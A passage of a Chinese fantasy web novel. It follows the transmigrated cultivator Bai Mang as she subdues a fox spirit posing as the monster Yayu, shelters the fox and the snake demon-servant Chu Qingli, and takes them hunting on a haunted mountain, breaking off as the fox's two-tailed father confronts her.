符咒的力量到底有限,临时又加了传送,必然更弱。白芒手下不停,试图让楚卿礼借一道天雷。不过她也没抱太大希望,毕竟他什么底子都没有,悟性再好也难一次成功的。
“敕请九天,借尔雷电,授雷霆于此间,荡妖邪于天地。”
最后一笔画完,符咒化光遁地而去,白芒抬起头,天际浓黑墨色翻涌,云间紫色雷电若隐若现。
窫窳像是感知到了危险,奋力扬着蹄子想走,可被一条银白色的蛇缠绕困住。
蛇身似乎又庞大了许多,牢牢裹住它青牛般大的身躯。
那团翻滚的墨云已经到了他们头顶上,紫色闪电越发频繁闪烁,白芒瞪大眼睛,“回来!”
可楚卿礼置若罔闻,他更加用力的绑住窫窳,头高昂起来,也看向天际。
那宛若能劈开天地的紫电,骤然从云团往下劈,四周一切被照的煞白。
白光过于刺眼,白芒本能抬起胳膊挡住眼睛,模糊的视线只瞧见他们脚下的土地上显露符咒,是她方才画的,与紫电旁边的细小雷电应和,形成一张闪着电光的网。
而那道骇人心魄的紫电,直直劈向了他们。
天地之间,一时静默。
直到紫电消失,耳边才想起轰隆的震鸣声。
屏障不知何时没了,白芒耳朵还在嗡鸣,她抬起干净的手背揉了揉眼睛。
方才好似幻觉,她像是看到蛇的身躯有了别的变化,身下有爪,背上与尾巴都有飘逸的毛,鼻吻也变长。
可此刻看去,被雷电囚阵困住的,明明只有一条手指细的小白蛇,还有蜷缩起来浑身伤痕的窫窳。
小白蛇已没有一丝气力,软绵绵瘫在地上,伤口处鳞片斑驳,触目惊心。
窫窳的身体颜色淡了许多,它转向小白蛇,低声道:“你在利用我飞升破境。”
楚卿礼双眼紧闭,闻着越来越近的白芒气味,“我只是在铲除作恶多端的妖兽。”
“我是天神!”窫窳暴起,身躯刚撑起来,就被严厉的电光又压了回去,颜色更淡了许多。
白芒两三步过来,先瞥了眼小白蛇。
小白蛇奄奄的看她,挪动尾巴想靠近一些,血却先涌出了不少。
将它捡起来绕在手腕上,白芒转头看向另一旁还在怒号的窫窳,“你不是窫窳吧。”
太弱了,纵然是方才天雷那一击那般吓人,发挥出了比她想象中厉害许多的威力,它的表现也太弱了。
噼啪着火花的电光囚笼下,窫窳的身体淡的像被水泡开的墨迹,近乎能透过它看到下面的土地。
天边的那团浓云已散去了,露出湛蓝天空,远处的山顶上雾气弥漫,犹如神灵的叹息。
噗的一声,窫窳的身体像破开的气球般裂开,滚出来一团灰仆仆的小狐狸,尾巴被齐根削掉,只有光秃秃的一团。
灰狐狸瞬间坐卧在地,遮住他光秃秃的断尾,声音尖利。“该死的人!”
白芒袖子里的小白蛇立刻探出头,威胁的嘶了两声,白芒将他按回去,蹲下身歪头,“原来是只狐狸,怪不得会幻术,干嘛要装成窫窳的样子。”
“恃强凌弱的讨厌人类,只有那种样子你们才会怕!”狐狸又缩了缩断尾,嗓音尖细。
白芒注意到了它的动作,狐狸一族,尾巴是他们最看重的地方,也是他们力量的象征。看这小狐狸尾巴齐整的伤口,很像是人为,“窫窳食人,你扮成这样,是惩戒?”
灰狐的毛都竖了起来,不顾噼啪作响的电光,“讨厌的人,都死绝才好。”
挑眉,白芒笑眯眯的从掌心化出一团小火苗,“再乱骂人,烤了你哦。”
灰狐呜咽一声,昂起头扭到了另一边,背上的毛还炸着。
“喂,你的尾巴是怎么回事啊?”
灰狐才没打算回答,那火苗就跳动着靠近它的皮毛,它悲鸣一声,“一百年前,我还是小狐狸,不知道你们人类可恶。见有人摔倒在雪中,好心救他,却被他捉住砍掉尾巴。”
他毛茸茸的大尾巴,父亲还说以它的天分,以后会分化出三条尾巴呢,家族中谁都喜欢它。可就因为那贪婪可恶的人,它踉踉跄跄滴答着血回家之后,却被失望的父亲赶了出去。
没了尾巴的狐狸,就是拖油瓶,它躲到哪里,就有哪的狐狸驱赶它。
忆起无家可归的凄苦日子,灰狐龇牙低吼,“要杀要剐随便,只要我活着,我一定要吃人!”
白芒掌心的火苗无声变大许多,蓝焰跳动着,周围温度一下升高,雪都化开一片。
一百多岁的狐狸,也还算幼小,眼里不自觉就带了泪光,却仍凶狠的咧着牙伏低身子。
“冤有头债有主,断了你尾巴的凡人早都不知死了多久,你却害死了多少人。”
“你们人总有大道理,反正都该死,有什么区别。”
白芒歪头,好凶的小狐狸,还挺可爱,掌心膨胀的火苗朝它推去。
火焰瞬间吞没了它,狐狸的惨叫声瞬时间响彻天际,连村子里偷看的人都面露不忍。
烈火熊熊燃烧,不多时连狐狸影子都瞧不见,无声无息的安静下来。
白芒蹲下来,撑腮瞧着逐渐变小的火团,她腕上的楚卿礼也沉默着。
火光消失,地上多了团竹篮大小的狐狸,短小厚实的绒毛干干净净。
袖子里的小白蛇蹭的盘高了一些,白芒没管他,控制着自己很想摸一摸小狐狸的手。
“你毁了我所有修为又如何,我早晚还能修炼成大妖,还会吃人的!”灰狐愤恨叫嚷。
可是它如今圆圆的脸,看上去半分威慑力都没有,白芒捧着脸笑,“人好吃吗?”
狐狸呸了声,“臭死了。”
胡须随着它说话一动一动,短小的耳朵往后背着,白芒再没忍住,伸手飞快摸了把它的脑袋。
谁能不爱毛茸茸!也太好摸了,光滑柔软的手感,白芒意犹未尽的收手。
灰狐一时间也懵了,耳朵蹭的一下立起来,这个雌性人做了什么!她在摸它的头和耳朵,只有伴侣才能触碰的地方!
一道阴沉的视线也落了过来,它转头,瞧见那条白蛇
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在看它。
楚卿礼心情复杂,如果白芒还要收一只妖仆,他似乎也没有立场反对的。
白芒全然未觉,“既然臭,就别再吃了。废去你全部修为,算作惩罚。那作为你当年被伤害的补偿,我还给你一条尾巴怎么样?”
灰狐的眼睛立时瞪得溜圆,连她刚才的冒犯都顾不上了,“你说什么?”
手指压在它断了的尾巴上,白芒沉思片刻,慢慢使出修复的法术。
随着白光一点点亮起,灰狐感到早就没了知觉的尾巴有点痒,它下意识的动了动,身后的尘土被毛发扫起。狐狸眼中迸发出惊喜,它猛然转头,瞧见了蓬松的尾巴尖。
顿时欢喜的叫出声,小狐狸扑腾着尾巴玩。
“回山去吧,叫上你的所有妖怪朋友不要再来搅扰人,我也会告诉他们不打扰你们的地盘。”白芒站起身道。
停止扑腾自己的尾巴,小狐狸抬头,瞧见了光给她铺上的一层温暖融光,它伏低身子龇牙,“我不会感激你的。”
“嗯,不重要。”
可恶的人!小灰狐恼恨,她凭什么不在意。大尾巴压低,灰狐愤恨从鼻中喷了口气,“要是有人再伤害我,我还会吃人的。”
白芒点点头,“合情合理。”
讨厌的雌性人!竟然真的不在乎它,灰狐又瞧她一样,猛地转头飞快往山上跑了,地上留下一串小脚印。
白芒挠头,怎么感觉那背影有些生气呢。算了,她抬起手腕,和小白蛇对望,“今日之事,你学到了什么?”
才因为她没再收妖仆而放心,楚卿礼被问的满心茫然,“要宽容大度?”
这是什么结论,白芒不满的啧了声,点了点它的脑袋,“是当你弱小,生气都只会被看成可爱。只有拥有力量,才能决定别人的生死,审判所谓的正义。”
楚卿礼看着她嘴巴一张一合,心里却不断回想着方才头上传来的触感,温热轻柔。
这也算是摸他了吗。
“记住了吗,要拥有力量!”白芒伸出另一只手握拳,心道她可真是会教,实践加理论,这大反派以后可不得唯变强是图。
搭在她手腕上的尾巴无声晃了晃。
村子里的人大致也看了全程,白芒回去后没有多说,李正就先与她点了头。
妖本就修行不易,北山更是灵气稀薄,百年的修为被废,这本身也不啻于杀了那狐妖。自此后,李正会规训村子人,不上深山,不伤有神志的灵兽。
对于不受清府重视的李家村而言,也算是互相妥协的合约。
此间事暂算是了了,念及楚卿礼受了伤,她也需要先教他一些基本修炼的功法,白芒决定暂住在这里,左右是她买下的宅子。
收拾好了另一间空房,白芒从隔壁借了被子,已是深夜,她为楚卿礼简单包扎过后就各自安寝。
洗漱过后,白芒刚打算躺下,就听到有人敲门。上前打开,便瞧见楚卿礼抱着被子站在门外。
他已再次化作人形,不知是否是白芒的错觉,好似个头又长了些。原先只比她略微高一点,如今已高出半个头,此刻正面色通红。
“白芒小姐,我可否继续与你一起睡?”
怕她拒绝,楚卿礼又忙补充,“妖仆受伤,在主人身边,会好的快些。”
果然把她教的听进去了,知道要养好身体,追逐力量。白芒满意点头,拉着他进了屋,分给他一半的炕。
“还需要我做什么吗?要拉着你吗?”
正给自己铺床的楚卿礼身子顿时僵住,下一刻就化作了蛇形,盘城一团靠近她低头。
你可以也摸我吗?
这句话在楚卿礼嘴边盘旋着。
一张蛇脸冷不丁靠近,白芒连忙往后躲闪。
“不用。”眼底隐秘的期待消失,楚卿礼变回人形,安静的躺下。
村子里的夜晚很黑,照亮的只有床头豆大的一点烛火,白芒一手拉着被子,看着远远睡在另一头的少年。
眼窝深邃,鼻梁挺拔,外表漂亮乖顺。
可惜对女主爱而不得,白芒吹灭蜡烛躺回去,困倦的打了个哈欠,奔波一天,总算是能休息了。
楚卿礼此刻才敢睁开眼,他看着满目的黑暗,伸手轻轻摸了摸自己的头。
他想起娘亲说,他们这一族就算成年也是没有角的。
或许也不一定,他想,不然此刻头顶痒痒的是为什么?
“白芒小姐,我不想只做妖仆。”
白芒都已半梦半醒,话都没听清,就含混的应下,“好。”
客户至上,她一切都包答应的。
8. 克制
九天之上,宫殿林立,祥云环绕,嘴里叼着灵芝仙草的仙鹤飞过。
世间最高处,唯有修仙楚家。
其中最为宏伟的那间宫殿紧闭着,里面是所有修仙者尊称的师尊,楚家如今的家主。
只是一贯以仙风道骨的慈悲面目示人的他,此刻却紧锁眉头,隐有怒意。“北山的动静,注意到了吗?”
他身后站着个清矍的中年男人,听到他的问话,男人神色惶恐。“是。”
“那孽畜出逃,妄想突破禁制恢复真身。”楚家家主哼了一声,“看样子,如今已破了一境。”
男人神色更紧张,“儿子会命人尽快抓回他。”
“不臣之心已起,光抓回来有什么用!”
见他动怒,中年男人扑通跪下,不敢发一言。
面色沉痛的暗叹一口气,楚家家主挥袖准他起身,“你的女儿,不是当初唯一能靠近他的人吗,让你女儿去。”
中年男人猛然抬眼,先是错愕过后,脸色大喜,“是。”
楚家家主却神色疲惫,“退下吧。我从即日起闭关修炼,只等你做到我想要的。”
“儿子必不负父亲厚望。”宫门已然合上,男人对内拜道。
恰逢一侍女前来,“少主,有下届清府之人前来相报,追查到了妖仆踪迹。”
果真是好运气,男人瞧了眼祥云。“将他们提来,一并请小姐相见。”
鹤唳长空,仙气缭绕。
——
白芒盯着门前的鸡挠了挠头。
她一早醒来洗漱过后,就发现门口被人放了只鸡,看毛色与体型,应当是只野鸡。
本以为是村子里的人猎到送她的,可是看着野鸡脖子上两个血洞,又更像是野兽咬的。
正犹豫要不要拎回家的时候,身后响起簌簌声音,白芒扭头就见小白蛇爬行而来。
对上她的视线,楚卿礼抬高脑袋,“要养伤,还是这样方便些。”
也更容易藏匿气息些。
白芒了然点头,还是决定把那只鸡拿起来,“正好,给你炖鸡汤喝。”
楚卿礼这才瞧见她手中提着的野鸡,动了动鼻子,清冷的空气送来一股狐臭味。他猛然窜向门外,嘶嘶着攻向一个雪包。
诧异看着他动作,白芒还没反应过来,就见有一团东西猝然往她飞扑过来,双手下意识抬起。
怀中就多了团毛,小狐狸从她怀里抬头,哼了一声转头。
“呀,是你。”白芒没松手,抱着他把野鸡放下,“这是你送的?”
“不就一只野鸡。”小狐狸昂着头,语气很是不屑,眼睛却觑着白芒。
这雌性人,现在该觉得他厉害了吧,他可不止会吃人呢。
楚卿礼语气低沉,“你是何居心?”
狐狸立刻炸了毛,背上的绒毛更蓬松,也不愿意老实待在白芒怀里,挥动着四个蹄子,“不要就还给我!臭长虫,你以为我是来求和的吗,要不要再打一架!”
白芒手下用了力,按住他,顺手就摸了摸他的脑袋。
小狐狸的耳朵被碰到,立刻一抖一抖,气势也弱了下来,瞪了眼白芒垂下脑袋。
感慨着小家伙就是很好摸的白芒调停。“好了,谁再吵,谁没有鸡汤喝。”
放下他时,白芒又搔了下他的脑袋,笑眯眯道:“我做的鸡汤,可是很好喝的。”
小狐狸乖巧的卧成一团,仍哼了一嗓子,爪子却都蜷了起来。
又转向地上盘成一团沉默无语的小白蛇,白芒将他从雪地上端起来放在桌上,顺手捏了捏他尖细的尾尖。“来者是客,帮我招待一下吧。”
沉闷着的楚卿礼,眼睛亮了亮。
只当安排好了他们两个,白芒提着野鸡,先去了灶房。
院中的石桌上,白蛇与狐狸各盘踞着一方,小狐狸耳朵垂着,难以置信的看他。
“她摸了我的耳朵,又摸了你的尾巴!”
他知道,他们蛇是怎么□□的,狐狸顿时生气的龇牙,“果然是三心二意的人!”
狐族里一直教育他们,不要靠近人类,人那脆弱的小心脏可以爱恋许多人,一娶就是三四个!果然如此!
看着他如此轻易就生气的样子,楚卿礼眯了眯眼,闲适的摆来茶壶。“她只是觉得好玩,没有别的意思。”
“这也是能玩的吗!”小狐狸更悲愤,刨刨爪子,追着尾巴生气。
果真是幼稚的狐狸,楚卿礼垂着他手指细的尾巴,“别想太多,你只是个客人。”
小狐狸瞬间伏低身子,哈了好几声。
“况且,是我先与她结契的。”楚卿礼淡定看着他抓狂的样子,补充了一句。
小狐狸的身子瞬间如雷劈过,灰头丧气的哀叫一声,跳下桌子。
用法术清理干净了鸡,白芒把它切成小块,先煎蛋后煮了汤,才将鸡肉放进去,余光便瞧见有个细长的影子钻了进来。
随后脚腕一凉,那股凉意还顺着她的腿往上爬,白芒不能忍的低头,将小白蛇掐了起来。
他剩下的身体顺势缠住白芒的手腕,楚卿礼开口,“我把客人照顾的很好。”
看向外面,只有团安安静静缩着的狐狸,白芒挑眉。“那你来做什么?”
“作为你的妖仆,有些事情我还是得提醒一下。”楚卿礼略微严肃的开口。
白芒做了个愿闻其详的表情。
“狐狸一族,耳朵摸不得,那是他们伴侣或家人才能碰的。”
白芒又等了等,才意识到他没有后文,顿时哭笑不得。“所以你建议我避嫌?”
“如果,你不想收他做妖仆的话。”
白芒的眼睫顿时跳了下,她倒是没这么想过,她是万万不敢把大反派当成她的妖仆的,可若是真有一个专属自己的妖仆,也算是这个世界的独特体验。
况且小狐狸,毛真的很好摸呀。
白芒若有所思,“也不是不行。”
蛇瞳立刻竖了许多,楚卿礼跃下她的手,一言不发的看她。
手背上突然传来一阵钝痛,白芒低头,就见那条蛇影浮现后又消失。揉了揉手背,再一抬头,小白蛇已离去了。
莫名其妙的白芒翻动了下锅中的鸡肉,目光依依不舍的再次掠过小狐狸。
还是算了,奴隶妖仆,不是艰苦朴素的好作风。
用柴火炖了近一个时辰,浓郁的鸡汤出锅,白芒欢欢喜喜的各自盛了三碗。
不是她吹嘘,这鸡汤是她在别的世界做任务时,从大厨手中学来的。
鲜嫩无比的鸡汤,轻易就俘获了小狐狸的夸赞,垂头丧气的毛都展开了,喝得肚皮溜圆,还要求她不准扔掉骨头。
白芒盯着他滚圆的肚皮,不能摸耳朵,没说不能摸肚皮呀,她心安理得的说服了自己,伸出指尖轻轻摸了摸。
软!
慵懒打滚的小狐狸感受到柔软的肚皮被人碰了,他猛地翻起身,警惕的立起耳朵,戒备片刻才反应过来是白芒。
“不可以摸吗?”白芒小心的问。
仰躺回去,小狐狸洋洋得意的瞪了眼楚卿礼,
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哼了声没有反抗。
白芒这下放心的摸了许久,才心满意足的看向另一边,楚卿礼面前的碗还是半满的。
她顿时皱眉,“你不喜欢吗?”
“味道尚可。”楚卿礼应了声,“但于我疗伤无甚大用,我也非贪口腹之欲的幼兽。”
眼疾手快的按住了炸毛的小狐狸,白芒微叹,“可这是我特意为你做的。”
“也并非都是无用的。”楚卿礼蛇头低下,声音也小了许多。
“我想,要你吃过的。”
他的目光,直直盯向白芒的半碗剩汤,渴望的神情毫不掩饰。“可以吗?”
白芒嘴角抽动,主人的气息,对于妖仆来说还真是好东西啊。“那给你。”
话音刚落下,蛇尾就卷了过来,将她的碗拖了过去。
砸吧有声。
解决完了肚子的问题,白芒打算开始教楚卿礼些正经东西。
身处修仙世界,学会调动天地灵力,修习法术是最基本的。可奈何她是开挂的,这些她自己也不会,只能想办法去借来些粗糙的书本。
丢给楚卿礼,让他先去看。不过他好像很开心,自顾自晒着太阳翻看,说在白芒之前,没有任何一个人恩准他学这些。
吃饱喝足的小狐狸在脚边犯困打呼,白芒就瞧着阳光下的楚卿礼,忽而想起,他最后会杀了她,夺取她的琉璃骨提升修为。
而她要做的,就是教他这样做。
白芒仰躺下去,赏了一下午天上的云,乱七八糟的想着,或许她应该先教一教他什么叫麻醉。
小狐狸送来的野鸡很大,他们三个下午又吃了一顿才算完,眼看到了该休息的时候,小狐狸却舔着爪子没有离开的意思。
白芒蹲下来,和他大眼瞪小眼,“你不会要住在这吧?”
舔爪的动作停下来,小狐狸原地转了一圈,“山上很冷,但是你这里很暖和,我喜欢。”
白芒拄着下巴,心里好笑。
“我有毛,可以给你取暖,还有尾巴,你可以枕着。”小狐狸蹲坐下来,挺起毛乎乎的胸脯。
白芒心动。
炕上的楚卿礼铺好床褥,他将脑袋搭在白芒的枕头上,耐心等待她的决定。
“算啦,收留你。”眼瞧着狐狸眼越来越紧张,白芒笑开,转身去取来一块软垫。
楚卿礼嗅了嗅,那垫子没有她的气息,他没有出声阻止。
小狐狸则欢呼一声,看她将垫子烤的暖和,跳上去踩了好几下,又软又热,像是记忆中娘亲的身体一样,他欢喜的卧进去,没多久就开始犯困。
白芒也打着哈欠躺下,吹灭蜡烛刚闭上眼,忽觉脖颈一凉。
她立时瞪大眼,感受到那冰凉的身躯是楚卿礼,而她的动脉就在他身下跳动。
只要他轻轻一咬,她就死了。
那么她的任务,是不是也就算结束了。白芒突然额头狂跳,越觉这个念头合理。
夜空之中,楚卿礼的嗓音送入她耳中,冷淡更甚。“你在紧张害怕?”
毕竟是要死一死的,白芒咽了下口水,没有说话。
另一头炉灶边,小狐狸已经睡熟,哼唧着翻身。
脖上的冰凉突然移走了,皮肤上的鸡皮疙瘩还没消散,身体慢慢回温,白芒不禁猛地长呼一口气。
楚卿礼已挪至另一边,身体蜷缩起来,脑袋背对着她。方才他只是想接近一下,可她的畏惧如此明显。
不该学小狐狸亲近人的,他叹,娘亲说的对,这样是冒昧,他必须克制本能。
9. 亲近
白芒是被勒醒的。
一圈圈冰凉的东西裹着她的腰身与双腿,想翻身却动弹不得,还将她往后拉了拉。
她刷的一下睁开眼,远处的小狐狸已经醒了,坐在垫子上不满的看着她。正想说什么,白芒若有所感的往被子里一摸,就拉出一条长长的小白蛇。
僵了片刻,她猛地撒手扔到一边,“啊!”
楚卿礼在被掐住七寸的时候就醒了,先闻到了她的味道,才控制住没有反击。被摔得晕晕乎乎的抬起头,身上温热的气息,还在提醒他自己做过什么。
他有些难堪的低头,“抱歉,是我熟睡时的本能反应。”
契印限制,他会不自觉的贴近她,索取她。
白芒还没做出反应,软垫上的小狐狸就嗖的一下跳上床,张牙舞爪,“虚伪的坏东西!”
他可不是那愚蠢的雌性人,那臭长虫晚上动过什么歪心思,他现在一闻就能闻出来。
“好啦。”白芒捏捏它圆乎乎的侧脸,试图讲和。
小狐狸却悲愤的号叫一嗓子,“你就向着他,我要去给你抓两只鸡,看谁更厉害!”
他一面说,一面用爪子刨着床。
白芒扑哧笑开,从尖利的狐狸爪子下保护住床褥,“不用啦,今天我们换点别的吃。”
小狐狸眼睛瞪得溜圆,“鸡不好吃吗?”
“还有别的好吃的呀。”
穿好鞋下床,白芒简单梳洗了一番,用法术弄来热水,拧着帕子转头。
蛇脸和狐狸脸都是一脸严肃。
她笑眯眯的走近,小狐狸意识到她想做什么,腾的一下跳远,严词拒绝。“我不要。”
伸在半空的手停住,白芒瞄他一眼叹气,“脏乎乎的狐狸,可没人喜欢摸。”
可恶的挑三拣四的坏人!小狐狸原地踌躇两圈,恹恹靠近。
忍着笑擦了他的眼下与脸上的毛,白芒这次规矩的没有乱摸,没想到小狐狸却舒服的眯上了眼。“要梳一下尾巴吗?”
小狐狸自得的晃了下他粗壮蓬松的大尾巴,就知道没人会不喜欢,他恩准了。
楚卿礼就好办许多,他自顾自游进了白芒用过的清水盆里,转了两圈,连澡都算是洗过了。
去取梳子的白芒顺手将帕子给他递过去,之前一个人住,也只有这一方擦脸的帕子,她刚用过,他勉强凑合吧。
小白蛇肉眼可见的愣了会,小心翼翼的转着圈盘上去。
太阳一点点升了起来,阳光从窗棂中透过来,照的小狐狸身上的毛都有一层暖光。白芒耐着性子,给它一点点梳开尾巴上打结的地方。
楚卿礼就在一旁安静瞧着。
小狐狸自己也爱惜这个失而复得的尾巴,打结的地方不是很多,白芒几下就梳开了。取下梳子上浮毛的时候,她随口一问,“小狐狸,还不知道你的名字呢。”
瞳孔倏然变竖,楚卿礼蓦然感到了一丝紧张,尾尖都僵住,鳞片紧紧绷着。她为什么要问那狐狸的名字,她是不是要收他做妖仆?
小狐狸满意的伸个懒腰,远远对镜自照,对白芒的问题嗤笑,“就是狐狸啊,我们靠气味辨别同类,才不需要什么名字。”
白芒只好哦了一声。
回过头,小狐狸看到了楚卿礼的表情,耳朵若有所感的立起来,他不顾楚卿礼暗自警告的眼神,绕到白芒脚下。“你要给我取个名字吗?”
楚卿礼猛地扭过头去看她,心不自觉的揪紧。
从木柜里取出来一件厚披风,白芒穿好后低头对小狐狸笑笑,“不用啦。”
依稀记得很久之前看过的书里,那个小狐狸说被驯服是制造羁绊。名字是羁绊的开始,她只是异世而来的闯入者,不应该搅扰他的生活。
低头系着披风的带子,白芒浑然未觉小狐狸莫名的失望了一下。她取出昨夜在炉灶里煨好的土豆,打算在路上吃,“我带你们,上山打猎去。”
她往楚卿礼的方向伸手,小白蛇就习惯的盘了上来,绕在她手腕上。
不知是否是白芒的错觉,手腕上他缠绕的力道好似紧了许多。
得知要打猎去的小狐狸兴奋异常,原地转了两圈,就蹦蹦哒哒的往前走。
白芒裹紧披风,不紧不慢跟在后面,将手腕抬起来,她与楚卿礼平视。
“你当时,为什么会晕倒在北山里?”
她从未探问过他的过往,突然提起,楚卿礼呆了呆,却无法言说。
该如何告诉她,自己那些不堪的过往。若是她知道,他自小就被当作那家族中人尽可欺的妖仆,只是因为没成年,才没有结专属某人的妖仆印,她会不会介意?
楚卿礼此前最讨厌的,就是那妖的身份,若是有人想降服他,他哪怕被罚断了全身骨头也要奋力反抗。可从未想过有一日,他会生怕有人不愿意收他。
盘旋的身体下,是她柔软温暖的皮肤。人可真是神奇的东西,攻击时面目可憎,友善时又温和可亲,能凭借这份温暖驯化最凶猛的妖兽。
甚至就连他,也愿意妥协退让一些权益,去换取她这份唯一的暖意。
楚卿礼陡然察觉到了一些危险,这个念头让他惊恐,他不该如此亲近一个人的。尤其还是比他厉害许多的人。
漫长的沉默中,白芒只当他时不愿回答,“不想说就算啦。”
话音落下,手腕却猛然一松,白蛇落在了地上,几乎要隐入雪中。
“我自己走。”
楚卿礼的声音有些闷的传来。
不知这变化从何而来,白芒摸摸鼻尖,错愕的想着她是否说错话的时候,脚边猛地砸过一团东西。
还在往外冒血,白芒定睛一瞧,原来是只兔子。
“你们慢死了。”小狐狸高昂着头,吱吱笑着。
他们才刚出了村子没多久,这只倒霉兔子,应该是被小狐狸从洞里给扒出来的。远远瞧着满脸得意的小狐狸,白芒如他所愿的将他夸了好一通,才蹲下来把兔子收入灵囊中,志得
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意满的小狐狸又雄赳赳走了。
“楚卿礼,还记得昨天给你的那些书吗?”白芒落在后面,问着前面游行的小蛇。
“我带你来,就是想让你试试。北山虽已灵气枯竭,可也是曾沟通天地的圣山,你可以试试,能不能调动周身灵气,使出法术。”
白芒瞧着白雪覆盖的北山,“不需要很多,哪怕是细小的一道雷光,或者斩杀一只雀鸟,都是厉害的。”
楚卿礼直起身子,也随着她的目光看去,神色严肃许多。
白芒带着他们一直往山上走,雪层越来越厚,可看到的动物都不再出没,她挑的还是村子里人没走过的路。
一直跳跃在前面的小狐狸步伐也慢了下来,走过一块巨石时,他骚动不安的转身。“不能再往前了。”
白芒没吱声,低头瞧着从未动手的楚卿礼。
“我打到的这些东西,已经够我们吃了,不能再往前了。”小狐狸烦躁的刨爪,“山顶上还有很多大家伙,我们打不过的。”
楚卿礼回头,瞧见白芒只是笑意淡淡的看他,并未催促他做决定。他感知到的危险气息,比小狐狸更深,看不清的浓雾之后好似有腥臭的血盆大口。
他不该让白芒去危险的地方,可是血脉中隐约的召唤让他前往,山顶上有能帮助到他的东西。
他也想试试,他能不能调动灵力,使出法术。
楚卿礼又往前了两步,瓮声瓮气问:“白芒,你说过,我不该让自己受委屈。也是你说过,变强是最重要的事情。对吗?”
“对。”白芒呵呵笑着,回得斩钉截铁。
于是他便再不迟疑的往上爬去,冰凉的雪上划出一道细长的印子,他的鳞片闪闪发光。
白芒抬脚跟上,走了两步,突然回头。
小狐狸还待在原地,着急的摆动尾巴,眼眶里都快急出了泪。“不要去。”
“你在这等我们就好。”白芒体谅他的害怕。
可小狐狸却把头摇的幅度更大,“你要是去了,我就不等你。”
白芒默默看了看他,无声叹气,回过头步伐坚定的上前。
狐狸悲鸣,扭头往相反的方向跑去,大尾巴垂在地上,被混着泥土的雪打得一绺一绺。
背后传来了踩雪声,楚卿礼无声放下心来。
浓雾穿过的瞬间,浓郁膨胀的妖气扑面而来,楚卿礼的身躯瞬间膨大数倍,他支起一半的身子。
可那道妖气却轻易的穿过了他,仿若对他的到来没有恶意,而是戾气深重的扑向他身后。
竖瞳紧缩,楚卿礼低喝一声转过身,却已阻拦不及。
他奋力想着昨日书本上看过的方法,心却慌张的静不下来,他能感受到若有若无的灵气在应和,却连如何念诀都记不起来。
蛇瞳眼睁睁看着,那化为巨大妖兽的恶气扑向白芒,她那么瘦小,绒白的毛边簇在她软软的腮边,转瞬就要被妖物一口吞下,丝毫不剩。
他要害死她了。
10. 主人
乌紫色的浓重妖雾,仿若带着毒气,冰雪之下是坚硬的石块,被罡风吹裂成细小碎块,伴随着隐隐的巨兽嚎叫,间或着凄厉的人类嘶喊声。
气温在瞬间降低,足够冻裂一切生物,哪怕是此间最有天分的修仙者,也难以全身而退。
没有形的妖兽,肚子里翻滚着无数的骷髅,顷刻间吞没了白芒的身子。浓稠的毒气四面八方涌过来,顺着鼻腔,进入肺腑。烈风如同锋利无比的刀子,能连皮带筋斩断人的骨头。
白芒动了动眉毛,连多余的什么动作都没有,只抬起一只手挥了挥。
气雾化作的妖怪转瞬就没了身影,就像是被随手抹去的灰尘。
眼前清明一片,白芒对上了楚卿礼僵直的目光,“你继续试呀。”
手背上却传来一阵炙热,还没反应过来,她突然被纳入一个冰凉的怀抱。
几乎是一个眨眼的功夫,楚卿礼就化成人形到了她身边,他的怀抱保留着蛇的习性,紧到束缚的感觉。
白芒茫然无措,可他下一刻就退开了,一言不发的盯着她看。
漆黑一点的眸子,眼圈隐约有些红意,嘴角轻抿着,无端的像丢失许久突然见到主人的小狗,白芒怔忪,“怎么了?”
楚卿礼低眸,略沉默几瞬,“不试了,我们回吧。”
方才妖兽吞下她的那一刻,他心中的慌张骗不了人,甚至莫名的想要替代她去死。
这个念头产生的一瞬间,他想,妖仆可真卑贱啊。只因为她是他发情期的抚慰者,只因为她是唯一将他当作人,只因为她引导他去修炼学习。
他绝望于摆脱不了妖仆本能,却在看到她安然无恙的一瞬欣喜无比。楚卿礼牵着白芒就想退回去,“走罢。”
白芒无声瞧着他,“你在怕什么?”
“没有。”
“怕我死吗?”白芒甩开他的手,表情一时间冷漠下来。
楚卿礼皱眉。
白芒抬眼看着他,忽然往他身后并指,立刻响起火光烧灭的声音。
楚卿礼扭头,只瞧见怨念化成的妖兽被烧成灰烬,即便是这么冷的地方,火光也耀眼无比。
“我不会被轻易杀死。”
白芒往前半步,以十足的侵略性压住他的肩膀,迫使他弯腰,又抬起他的下巴仰视自己,“但如果你没有变强,我就不要你了。”
一贯甜美可人的脸冷下来,这种话就更显冷酷绝情,楚卿礼眼睫颤了一瞬,偏头挣开她的手。
“知道了,主人。”
他转身,再次面向不断显现巨大妖兽的地方,静下心回想书中所教汇聚灵气的方法。
背后的白芒慢慢低下一脸高深的头,龇牙傻笑。
终于给她装到了!
她早就想这样装了!弹指间最厉害的大boss灰飞烟灭,未来的大反派也臣服于她,这才是她这种开挂人士该有的场面。
她是外来者啊,再厉害的妖兽,也不过是个npc。能伤害到她的,只有她的客户。
白芒侧过身,潇洒十足的吹了吹并起的两根手指,幻想那里有一缕青烟消散。
啪!
一串电光从天而降,地下焦黑一片,像是莫大的怨气。
白芒诧异转头,就见楚卿礼面不改色的回来,他这就成功了?
不但调动了灵气,还使出了她前两天只教过一次的召唤天雷。
楚卿礼已走到了她面前,嘴唇动了动,还没说半个字,就猛地变回一条小蛇,身体比早上小了半截。
白芒赶忙将他捡起来盘在手腕上。
楚卿礼动了动身体,尾尖划过她的手背,无力的闭上眼睛。得找个机会,除了与她的妖仆契约。
匆匆划开一条路,白芒理都不理身后张牙舞爪的戾气,飞快下山。
没走两步,她突然顿住,“你没走?”
下了最高的山顶,气温在一点点回升,风雪也没那么凌厉。一块巨大的石头旁,蹲立着一只长毛飞翻的小狐狸。
他瞧见了白芒,蹦跳过来在她脚下窜了一圈,声音都透着兴奋,“你没事!那个坏家伙是不是死了!”
白芒弯腰,把手腕上的白蛇凑向他,“还健在。”
小狐狸瞬间失望的耳朵都耷拉下来,嗅了嗅他的味道,又龇牙咧嘴,“也快死了。”
没理会他幸灾乐祸的口吻,白芒继续看向那块巨石。
石头后面有片巨大的阴影,乍一眼看是石头本身的,可细看就会发现那影子庞大许多。
察觉到了她的视线,一只双尾狐狸慢慢显形,幽绿的眼睛盯着她瞧,他身躯比小狐狸要大上许多,两条尾巴展开,比后面的树还粗。
双尾狐比白芒高出两倍不止,呼吸声都能聚成风,他威压十足的看向白芒,“便是你,废了我儿百年修为?”
脚边的小狐狸呜咽着伏低身子,声音尖细,“我叫你来是帮她的!”
“人类的当,你还能上第二次,蠢货。”双尾狐哧了一声,抬起前脚往地上轻轻一踩。
